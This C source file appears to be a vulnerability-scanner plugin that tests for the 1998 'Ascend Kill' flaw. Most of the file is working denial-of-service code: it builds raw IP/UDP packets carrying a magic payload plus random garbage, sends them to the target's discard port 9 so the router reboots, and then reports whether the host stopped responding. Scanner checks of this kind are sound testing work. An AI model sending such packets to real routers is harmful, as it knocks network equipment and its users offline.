/*
 * 
 * ascend_kill
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */
/*
 * Ascend Kill II - C version
 *
 * (C) 1998 Rootshell - http://www.rootshell.com/ <info@rootshell.com>
 *
 * Distribute freely.
 *
 * Released: 3/16/98
 *
 * Thanks to Secure Networks.  See SNI-26: Ascend Router Security Issues
 * (http://www.secnet.com/sni-advisories/sni-26.ascendrouter.advisory.html)
 *
 * Sends a specially constructed UDP packet on the discard port (9)
 * which cause Ascend routers to reboot.  (Warning! Ascend routers will
 * process these if they are broadcast packets.)
 *
 * Compiled under RedHat 5.0 with glibc.
 *
 * NOTE: This program is NOT to be used for malicous purposes.  This is
 *       intenteded for educational purposes only.  By using this program
 *       you agree to use this for lawfull purposes ONLY.
 *
 * It is worth mentioning that Ascend has known about this bug for quite
 * some time.
 *
 * Fix:
 *
 * Filter inbound UDP on port 9.
 *
 */

#include <includes.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#ifdef HAVE_SYS_PARAM_H
#include <sys/param.h>
#endif

#ifdef HAVE_UCBINCLUDE
#ifdef BSD
#undef BSD
#else
#define BSD
#endif
#endif

#undef ip


#define NAME "ascend kill"

#define DESC "It is possible to reboot an ascend router by sending it a\n\
specially constructed UDP packet on the discard  port (9).\n\
Risk factor : high"
#define COPYRIGHT "rootshell"
#define SUMM "reboots an ascend router"

#define err(x)
#define errs(x, y)
/* This magic packet was taken from the Java Configurator */
static
const char ascend_data[] =
  {
    0x00, 0x00, 0x07, 0xa2, 0x08, 0x12, 0xcc, 0xfd, 0xa4, 0x81, 0x00, 0x00,
    0x00, 0x00, 0x12, 0x34, 0x56, 0x78, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
    0xff, 0xff, 0x00, 0x4e, 0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0x4e,
    0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0xff, 0x50, 0x41, 0x53, 0x53,
    0x57, 0x4f, 0x52, 0x44, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52, 0x44,
    0x50, 0x41, 0x53, 0x53};


unsigned short
in_cksum (addr, len)
     u_short *addr;
     int len;
{
  register int nleft = len;
  register u_short *w = addr;
  register int sum = 0;
  u_short answer = 0;

  while (nleft > 1)
    {
      sum += *w++;
      nleft -= 2;
    }
  if (nleft == 1)
    {
      *(u_char *) (&answer) = *(u_char *) w;
      sum += answer;
    }

  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  answer = ~sum;
  return (answer);
}

int
sendpkt_udp (sin, s, data, datalen, saddr, daddr, sport, dport)
     struct sockaddr_in *sin;
     unsigned short int s, datalen, sport, dport;
     unsigned long int saddr, daddr;
     char *data;
{
#ifndef BSD
  struct iphdr ip;
#else
  struct ip ip;
#endif
  struct udphdr udp;
  static char packet[8192];
  char crashme[500];
  int i;
#ifdef BSD
  struct in_addr addr;
#endif 

#ifndef BSD
  ip.ihl = 5;
  ip.version = 4;
  ip.tos = rand () % 100;;
  ip.tot_len = FIX (28 + datalen);
  ip.id = htons (31337 + (rand () % 100));
  ip.frag_off = FIX(0);
  ip.ttl = 255;
  ip.protocol = IPPROTO_UDP;
  ip.check = 0;
  ip.saddr = saddr;
  ip.daddr = daddr;
  ip.check = in_cksum ((char *) &ip, sizeof (ip));
#else
  ip.ip_hl = 5;
  ip.ip_v = 4;
  ip.ip_tos = rand () % 100;;
  ip.ip_len = FIX (28 + datalen);
  ip.ip_id = htons (31337 + (rand () % 100));
  ip.ip_off = FIX(0);
  ip.ip_ttl = 255;
  ip.ip_p = IPPROTO_UDP;
  ip.ip_sum = 0;
  addr.s_addr = saddr;
  ip.ip_src = addr;
  addr.s_addr = daddr;
  ip.ip_dst = addr;
  ip.ip_sum = in_cksum ((char *) &ip, sizeof (ip));
#endif

#ifndef BSD
  udp.source = htons (sport);
  udp.dest = htons (dport);
  udp.len = htons (8 + datalen);
  udp.check = (short) 0;
#else
  udp.uh_sport = htons (sport);
  udp.uh_dport = htons (dport);
  udp.uh_ulen = htons (8 + datalen);
  udp.uh_sum = (short) 0;
#endif
  memcpy (packet, (char *) &ip, sizeof (ip));
  memcpy (packet + sizeof (ip), (char *) &udp, sizeof (udp));
  memcpy (packet + sizeof (ip) + sizeof (udp), (char *) data, datalen);
  /* Append random garbage to the packet, without this the router
     will think this is a valid probe packet and reply. */
  for (i = 0; i < 500; i++)
    crashme[i] = rand () % 255;
  memcpy (packet + sizeof (ip) + sizeof (udp) + datalen, crashme, 500);
  return (sendto (s, packet, sizeof (ip) + sizeof (udp) + datalen + 500, 0,
                  (struct sockaddr *) sin, sizeof (struct sockaddr_in)));
}

int test_open_port(struct arglist * args);
PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
	plug_set_name(desc, NAME);
	plug_set_description(desc, DESC);
	plug_set_summary(desc, SUMM);
	plug_set_copyright(desc, COPYRIGHT);
	plug_set_category(desc, ACT_DENIAL);
	plug_set_family(desc, "Denial of Service");
	return(0);
}

PlugExport int plugin_run(struct arglist * args)
{
  unsigned int saddr, daddr;
  struct sockaddr_in sin;
  int s;
  struct in_addr *paddr;
	int on;

  if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
    {
    return(-1);
    }

  saddr = inet_addr("127.0.0.1");
  paddr = plug_get_host_ip(args);
  daddr = paddr->s_addr;  
  sin.sin_family = AF_INET;
  sin.sin_port = 9;
  sin.sin_addr.s_addr = daddr;
  if ((sendpkt_udp (&sin, s, &ascend_data, sizeof (ascend_data), saddr, daddr, 9, 9)) ==
  -1);
  if(!(on=test_open_port(args)))post_hole(args, -1, 
"A denial of service could be perfomed using the 'ascend kill' attack\n\
Solution : contact your vendor for a fix");
 if(on==-1)post_info(args, -1, 
"It *may* be possible that the remote host crashed after an ascend kill attack,\n\
although it could not be verified");
 return(0);
}


int test_open_port(struct arglist * args)
{
 struct arglist * host; 
 struct arglist * ports;
 int i;
 int soc;
 
 host = arg_get_value(args, "HOSTNAME");
 ports = arg_get_value(host, "PORTS");
 if(ports && ports->name)i = atoi(ports->name);
 else return(-1);
 
 if((soc = open_sock_tcp(args, i))>0){
 	socket_close(soc);
 	return(1);
 	}
 else return(0);
}

